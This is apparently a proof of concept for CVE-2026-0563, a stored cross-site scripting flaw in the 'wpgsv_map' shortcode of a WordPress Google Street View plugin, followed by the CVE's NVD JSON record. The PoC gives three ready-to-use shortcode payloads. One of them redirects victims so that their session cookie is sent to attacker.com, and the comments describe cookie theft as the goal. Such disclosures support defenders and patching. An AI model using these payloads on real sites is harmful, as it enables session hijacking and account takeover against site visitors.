CVE-2026-0563

<!-- CVE-2026-0563 PoC: Stored XSS via wpgsv_map shortcode --> <!-- Requires Contributor+ role in WordPress --> <!-- Method 1: Via WordPress post/page editor --> [wpgsv_map lat='" onerror="alert(String.fromCharCode(88,83,83,80,111,67))" data-x="'] <!-- Method 2: More complex payload --> [wpgsv_map lng='"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>'] <!-- Method 3: Event handler based XSS --> [wpgsv_map zoom='1' onmouseover='alert(document.domain)'] <!-- PoC Explanation: --> <!-- 1. Attacker with Contributor role creates/edits a post --> <!-- 2. Inserts malicious shortcode with XSS payload --> <!-- 3. Submits post for review or publishes directly (if permitted) --> <!-- 4. When any user views the page, XSS payload executes --> <!-- 5. Attacker can steal session cookies, perform actions as victim -->

{"cve": {"id": "CVE-2026-0563", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:02.910", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Google Street View (with 360° virtual tour) & Google maps + Local SEO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpgsv_map' shortcode in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin WP Google Street View (con tour virtual 360°) y Google Maps + SEO Local para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'wpgsv_map' en todas las versiones hasta la 1.1.8, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel de colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3432185/wp-google-street-view/trunk/includes/shortcode.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2bc8a3fb-176e-4bf0-b96e-6ccb9688254b?source=cve", "source": "[email protected]"}]}}